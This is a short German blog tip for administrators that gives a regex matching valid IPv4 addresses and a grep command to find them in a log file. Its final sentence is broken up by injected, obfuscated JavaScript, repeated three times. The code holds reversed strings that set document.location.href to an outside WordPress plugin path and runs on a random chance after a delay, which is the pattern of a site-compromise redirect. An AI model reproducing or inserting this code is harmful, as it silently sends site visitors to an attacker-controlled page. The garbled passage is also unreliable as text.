Oft kommt es vor, das ein Admin eine gültige IP-Adresse in einem File finden muss. Hier können folgende Zeilen hilfreich sein.
Folgender Regex matched auf alle validen IPv4 Adressen:
1 |
(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" |
Dies kann man z.B. mit grep kombinieren, um in einem Logfile zu suchen:
1 |
$ grep -E "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt |
Natürlich kann man diesen RegEx auch für toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andere Aufgaben nutzen, wie zum Beispiel das Prüfen einer Eingabe bei einem Skript.